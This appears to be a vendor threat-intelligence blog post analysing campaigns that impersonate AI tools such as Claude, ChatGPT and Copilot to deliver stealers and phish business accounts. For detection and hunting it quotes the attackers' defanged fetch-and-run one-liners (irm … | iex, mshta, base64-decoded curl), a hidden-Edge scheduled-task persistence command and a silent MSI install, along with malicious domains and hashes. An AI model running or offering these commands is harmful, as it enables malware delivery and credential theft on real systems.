Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot

Signup Write New Story Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot by ANY.RUN by ANY.RUN | @ anyrun Online interactive sandbox for DFIR/SOC investigations. Fast malware analysis and cybersecurity threat detection.

Online interactive sandbox for DFIR/SOC investigations. Fast malware analysis and cybersecurity threat detection.

ANY.RUN researchers tracked fake AI tool campaigns that impersonate Claude, ChatGPT, GitHub Copilot, Gemini, and other AI brands to plant infostealers, take over browser sessions, and phish business accounts. Between April 15 and October 5, 2026, 1,258 public sandbox analyses were tied to these campaigns, and the USA was the second-largest source of submissions after India.

The attacks share one trait: the employee performs the decisive step. They paste an “install command,” run a convincing installer, or sign in to a fake window. That can put source code, cloud and AI API keys, active business sessions, ad accounts, and billing access at risk, turning a single user action into potential data exposure, account compromise, financial loss, or disruption to development and marketing operations.

Below, we break down five attack patterns, the numbers behind them, and the signals SOC teams can hunt for.

Fake AI campaigns are effective because they blend into normal employee behavior. Searching for a new AI app, following setup instructions, opening a shared chat, or connecting a business account can all look routine, which gives attackers room to move past traditional email-focused defenses.

What makes these campaigns especially relevant for organizations is the type of access they can reach. Developers may expose source code, cloud credentials, or API keys, while marketing and business teams can hold access to advertising, billing, and other high-value accounts.

1,258 public sandbox analyses linked to fake AI-themed activity

Claude, ChatGPT, Codex, GitHub Copilot, Gemini, Ollama, OpenClaw, Perplexity, and Manus

Search results, Google Ads, shared AI chats and artifacts, fake download pages, and email invitations

Pasting commands into PowerShell or Terminal, running installers, or entering credentials into fake sign-in windows

Infostealer and RAT delivery, browser-session theft, credential phishing, and business-account compromise

ClickFix-style execution, malicious PowerShell and curl commands, mshta abuse, trojanized installers, and browser-in-the-browser phishing

Developers, marketing teams, and employees independently searching for or installing AI software

The US accounted for 16% of recorded submitter-country data, ranking second overall and first in several major campaign groups

Commands, backend paths, scheduled tasks, and other behavioral patterns remained more stable than the frequently rotating lure domains

These campaigns can expose far more than a single employee account. If successful, they can lead to unauthorized access to business systems, loss of sensitive data and credentials, disruption to development or marketing operations, and direct financial exposure through compromised cloud, advertising, or billing accounts.

Between April 15 and October 5, 2026, we linked 1,258 public sandbox analyses to fake AI campaigns.

Activity peaked in May 2026 with 358 analyses. The fake CLI installers and the ChatGPT-themed chains drove that peak, and the volume has stayed between 108 and 151 analyses a month since July.

Campaigns that make the victim paste a command account for 561 analyses (45%): fake CLI install pages (InstallFix, 341) and fake download pages with ClickFix (220). Chains that start on a shared AI chat or artifact add 320 more, and many of them also end in a pasted command, so 45% is a lower bound.

The country split comes from research carried out with Threat Intelligence Lookup, which records the submitter’s country for each public analysis. Across seven queries on the campaigns’ key domains, US submitters account for 69 of 422 country records (16%), behind India with 86 (20%). In the fake “Download Claude” campaign, the US ranks first with 21 of 92 records, and in the ChatGPT-themed chains it ranks first with 18 of 86.

Every chain we analyzed has the same skeleton: a lure in search results or email, a copy of a familiar page on trusted hosting, and one step that the employee performs. What changes from campaign to campaign is that step and what it unlocks.

The sections below follow the five patterns that carried most of the activity.

AI coding tools install with one line of PowerShell or shell, and that habit is the lure. The fake pages copy the install documentation of Claude Code, GitHub Copilot CLI, OpenAI Codex, Ollama, and OpenClaw, and swap the vendor’s domain in the one-liner for the attacker’s. A developer who copies the command runs the attacker’s script with their own permissions.

View sandbox session with the fake Copilot CLI page

Victims reach these pages from ordinary searches. In one session, a Bing search for “claude code docs” listed claudecode[.]us[.]com as a “Claude Code Installation Guide”, a few lines from the official documentation. Other sessions arrived from Google organic results and from typosquatted redirectors such as claubecode[.]co[.]com and openclow[.]co[.]com.

View sandbox session with the search result

The first-stage script calls a second one-liner, irm refract3[.]com | iex, which pulls further stages from kafeprog7[.]com or help.xenngypt[.]com and then a stealer from a GitHub release. The fake Ollama variant goes one step further. It downloads and installs the real OllamaSetup.exe, so the developer gets a working tool while the stealer runs alongside it. The last full chain we observed ran on September 16, 2026.

View sandbox session with the full chain

We counted 341 analyses across six brands, peaking in May and June 2026. The lure domains rotated, but the shape of the command did not: irm <domain>/install… | iex started from a browser session, pointing at a domain that is not the vendor’s.

This campaign clones the Claude download page and has been active since April 2026. We found its landing pages on a Webflow site (cladesktop-apps[.]com), on GitLab Pages, on Cloudflare Pages, and on playcode.io, with variants for DeepSeek and NotebookLM. In 37 of its 220 analyses, the session started with a click on a Google ad.

When the visitor clicks “Download for Windows”, the page copies a command to the clipboard and shows step-by-step instructions: press Win+R, open PowerShell, paste, and press Enter.

View sandbox session with the fake download page

mshta.exe fetches an HTA from the attacker’s server. The HTA assembles the word “powershell” from pieces to slip past simple string matching, then runs an encoded PowerShell stage. In the sessions where the chain ran to the end, the sandbox flagged stealer activity. No file reaches the browser’s download folder, and every process in the chain is a built-in Windows binary. Other landing pages of the same campaign show the same flow:

The landing hosts changed many times, but the HTA host last-version.install-2026[.]com stayed the same from April to September. A related page on claudedev[.]net uses a fake Cloudflare check instead. Its PowerShell stage leads to a loader chain likely belonging to HijackLoader: sandbox sessions that share its download host trigger HijackLoader command-and-control detections.

View sandbox session with the fake Cloudflare check

Some operators skip lookalike domains altogether and publish the lure on the AI platform itself. A shared conversation, a custom GPT, or a published artifact lives on the vendor’s domain, which no company blocks.

One session opened a published claude.ai artifact from a Google ad; the URL carries Google Ads click parameters. The artifact poses as “Download Claude | Claude by Anthropic”, while the platform’s own banner marks it as user-generated. Its “Install on macOS” instructions tell the visitor to paste a curl command into Terminal.

View sandbox session with the claude.ai artifact

The base64 string decodes to a /curl/<hex> URL on paripassuventures[.]com. Sessions that requested that host between August 24 and September 3, 2026, received a payload detected as MacSync Stealer, in 8 of the 12 analyses. Shared Claude and Perplexity conversations promoted the same way lead to the same /curl/<64 hex characters> path on other compromised sites.

View sandbox session with the shared Claude conversation

The most recent ChatGPT-themed chains, from September 2026, start from shared chats and custom GPTs. In one session, a Google ad led to a shared chat on chatgpt.com with a single message: “We are experiencing high traffic now. Continue on our backup domain,” followed by a link to openai-backup[.]one. ChatGPT warned that the link led to an external site, but the domain name made the detour look like part of the service.

View sandbox session with the shared ChatGPT chat

The “backup domain” shows a fake Cloudflare check and then a “Human Verification” box with three steps: Win+R, Ctrl+V, Enter. Its /api.php requests carry an operator key, and the same key appears in a chain that starts from a custom GPT and passes through a Google Sites page. In a session from that chain, pasting the command silently installed an MSI package:

View sandbox session with the custom GPT chain

We counted 320 analyses in chains that start on a shared AI chat or artifact or touch their infrastructure, 17 of them straight from an ad click. The durable markers are the /curl/<64 hex characters> download path, the sites.google.com/view/antibot<digits> pages, the operator key in /api.php?k= requests, and curl one-liners that decode their own URL from base64.

This pattern does not ask for a command. The lure site claude-ai[.]us serves a saved copy of the Claude download page, and its button downloads Claude_x64-setup.exe from a GitHub release. In the sandbox session, a window titled “ClaudeCode” asked for a click on “Setup”. After the click, the genuine Claude installer, downloaded from Anthropic’s own servers, ran in the foreground.

Behind the decoy, the stager registers a scheduled task that starts Microsoft Edge without a window, with remote debugging on and a fake updater user agent:

schtasks.exe /create /tn “mseupdate” /tr “\”C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe\” –remote-debugging-port=9222 –headless –user-agent=\”Google Update 4.3\” –disable-gpu –no-sandbox https://microsoft.com/” /sc onlogon /rl highest

View sandbox session with the trojanized installer

The lure site left its directory listing open, which exposed the kit’s file names: claude_win.html, claude_mac.html, and stats-claude-collector.php, the endpoint that records each visit. At the moment of the download click, the page also registers the visitor with the stager’s server through /api4.php?method=auth&key=<key>&ist=claude. The same registration call, with its own key and brand label, appears behind other “AI” apps, such as a fake AI budgeting tool on budgetforge[.]ai that served its installer from a different GitHub account in April 2026.

View sandbox session with the budgeting-tool lure

The kit’s paths (/stats-claude-collector.php, /api4.php?method=auth, /api2.php with sendcookjson) and the mseupdate task with the “Google Update 4.3” user agent outlived the domain. That makes them better hunting keys than claude-ai[.]us itself.

The fifth pattern targets marketers, not developers. Landing pages invite the visitor to “Run ads on Claude”, to “Connect your Google Ads account with Gemini”, or to join Perplexity Ads or a Manus beta. The pages carry mailto:unsubscribe@ links, which suggests delivery by email. Clicking “Connect” opens a browser-in-the-browser (BiTB) pop-up: a fake window, drawn inside the page, that imitates the Google sign-in screen and its address bar.

Before showing the pop-up, the page geolocates the visitor through public IP services. It then registers the visit with a backend on Railway or Render and keeps a live socket.io channel open to the operator. The backend paths are the same for every brand:

Purpose (inferred from the name and payload)

Sends the visitor's IP, device type, and ISP

Likely checks whether the visitor is blocked

Likely polls whether the operator has finished with the session

We counted 57 analyses across four brands between July 21 and September 18, 2026. The domains change with each brand (claude-[.]com, gemini-beta-invitations[.]com, perplexity-beta-ads[.]com, beta-manus[.]com), while the API paths stay the same, so they are the hunting key.

We also counted 220 analyses of suspicious or malicious files named after AI products: “Claude Setup.exe”, “ChatGPT Installer.exe”, “Codex Installer.exe”, “GeminiSetup.exe”, “copilot_lite.exe”, and “Sora2.apk”. Examples:

View sandbox session with the fake claude-code.exe

Threat Intelligence Lookup also shows the industry of the organization that submitted each analysis. We used that data to see which industries appeared across the campaign queries.

The table below shows how many of the seven campaign queries included submissions from each industry, both globally and among US submitters. These figures show how widely an industry appears across the campaigns, not the number or share of victims.

The list is led by sectors with large developer and knowledge-worker populations. Among US submitters, consulting stands out in the fake Claude Code installers, education in the ChatGPT-themed chains, and manufacturing across the CLI lures.

Reducing exposure to fake AI campaigns requires both stronger control over how employees access AI software and better visibility when suspicious activity reaches an endpoint. The goal is to limit risky user actions, detect malicious behavior earlier, and give SOC teams enough context to respond before access spreads.

Every pattern in this research starts with an employee looking for an AI tool on their own. Publish a short list of approved AI tools with their official sources (vendor site, winget, Homebrew, or the vendor’s package) and install them through MDM or the software portal. Then a search result has less reason to become the employee’s first stop.

In IBM’s 2026 Cost of a Data Breach study, shadow AI incidents more than doubled, from 20% to 43% of security incidents. Only about a third of organizations strictly approve AI tools before deployment, according to HIPAA Journal.

Assign one owner for AI tool requests and give that person a budget for licenses, so teams can get approved software faster than they can find a “free download.” Review the approved list regularly, as the kits in this report already imitate newer names such as OpenClaw and Manus alongside Claude and ChatGPT.

InstallFix and ClickFix depend on users being able to open a shell and execute copied commands. Restrict mshta.exe, wscript.exe, and unsigned PowerShell for standard users with AppLocker, WDAC, and attack surface reduction rules.

Train employees to verify install commands against the vendor’s official documentation rather than copying them from search results, ads, shared chats, or unfamiliar download pages.

Interactive Sandbox helps SOC teams see what a suspicious installer, pasted command, or fake AI lure actually does after execution. Analysts can confirm malicious behavior, understand the full attack chain, and make containment decisions with more context.

View sandbox session with the Claude Ads lure

Teams using ANY.RUN report 21 minutes less MTTR per incident, 20% less Tier 1 investigation time, and 30% fewer Tier 1-to-Tier 2 escalations, helping SOCs move from investigation to response faster.

Threat Intelligence Lookup helps analysts move beyond one suspicious domain, URL, or file hash and uncover related infrastructure, sandbox activity, and campaign artifacts.

It gives security teams access to intelligence built from activity across 16,000+ organizations and 700,000+ security professionals worldwide, helping them connect individual indicators to broader malicious activity and investigate threats with more context.

Check out the following TI Lookup queries for fuller context and deeper investigations:

Teams using ANY.RUN report up to 36% higher detection rates, helping SOCs identify more threats and prioritize response with greater confidence.

Threat Intelligence Feeds deliver fresh malicious domains, IPs, URLs, hashes, and other indicators into existing SIEM, SOAR, and detection workflows. This helps organizations maintain coverage as attackers rotate infrastructure and reduces the manual effort required to keep detections current.

For security teams handling large volumes of alerts, continuously updated threat intelligence can help surface known malicious activity earlier and support faster triage across existing security systems.

Fake AI tools turn trusted software brands into an attack path that depends on a single user action. Across the activity analyzed, attackers repeatedly used familiar AI names, trusted platforms, and convincing install or sign-in flows to reach developer environments, active sessions, and business accounts.

The strongest detection opportunities are behavioral. Domains changed frequently, while command patterns, staging paths, backend APIs, and post-execution activity remained more consistent. The US also stood out, ranking first in both the fake “Download Claude” campaign and the ChatGPT-themed chains, and second overall across all fake AI activity analyzed.

For organizations, the priority is to reduce the time between suspicious activity and a confident response. ANY.RUN supports that workflow by helping teams analyze behavior, connect indicators to wider campaign activity, and bring fresh intelligence into existing security controls.

That can translate into faster investigations, fewer unnecessary escalations, and earlier containment before compromised access turns into wider business impact.

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by 16,000+ organizations and 700,000+ security professionals worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox, Threat Intelligence Lookup, and Threat Intelligence Feeds work together as one investigation and response workflow.

Security teams can analyze suspicious files, URLs, and behavior in the Interactive Sandbox, pivot from discovered indicators to related infrastructure and campaign activity in TI Lookup, and then bring fresh threat intelligence into existing SIEM, SOAR, EDR, and other security systems through TI Feeds.

This gives SOC teams a continuous path from initial analysis to deeper investigation and broader detection, helping them respond faster and contain malicious activity before it creates wider business impact.

Google Ads click parameters on the fake download pages and on the claude.ai artifact

Bing result for "claudecode docs" leading to claudecode[.]us[.]com

User Execution: Malicious Copy and Paste

Win+R, PowerShell, and Terminal instructions on the InstallFix and ClickFix pages

Claude_x64-setup.exedownloaded from a GitHub release

Command and Scripting Interpreter: PowerShell

irm … | iex one-liners and the encoded PowerShell stage

Command and Scripting Interpreter: Unix Shell

curl -kfsSL $(echo '' | base64 -d) on the claude.ai artifact

schtasks /create /tn "mseupdate" launching headless Edge at logon

mshta hxxps://last-version.install-2026[.]com/app

msiexec /i %TEMP%\_MouseJiggleStudio.msi /qn after the fake check

Credentials from Password Stores: Credentials from Web Browsers

Aura Stealer exfiltration from the fake claude-code.exe

Highest-value indicators (they outlived the domains):

882b1aa5432509df9b1ac29b6f987a5dd70c8f46009237de956275a58536f470

Trojanized installer from a GitHub release

e86f7ba0413a3a4b1d7e1a275b3d1ef62345c9d3fd761635ff188119b8122c85

claudecode[.]us[.]com, setup-code[.]com, use-code[.]com, code-setup[.]com, claude-setup[.]com

install-copilot[.]com, copilotcli[.]co[.]com

setup-ollama[.]com, codex-console[.]com, openclaw-setup[.]net

InstallFix lure (Ollama, Codex, OpenClaw)

claubecode[.]co[.]com, openclow[.]co[.]com

refract3[.]com, kafeprog7[.]com, help.xenngypt[.]com

cladesktop-apps[.]com, code-desktop[.]com, claudgodic[.]com

HTA staging for the fake "Download Claude" pages

MacSync download host behind the claude.ai artifact

"Backup domain" linked from the shared ChatGPT chat

hxxps://chatgpt[.]com/s/t_6a80bc61c434819190c3eae5932307e8

claude-[.]com, meta-claude[.]com, monday-brief-claude[.]com

gemini-beta-invitations[.]com, gemini-beta-invites[.]com

perplexity-beta-ads[.]com, beta-manus[.]com

mbackend-mdye.onrender[.]com, claudeadsback-production-67c1.up.railway[.]app

BiTB backend on an abused hosting platform

15 Minutes Saved Per Alert: How a Lean German Manufacturer Protects 10,000 Endpoints with ANY.RUN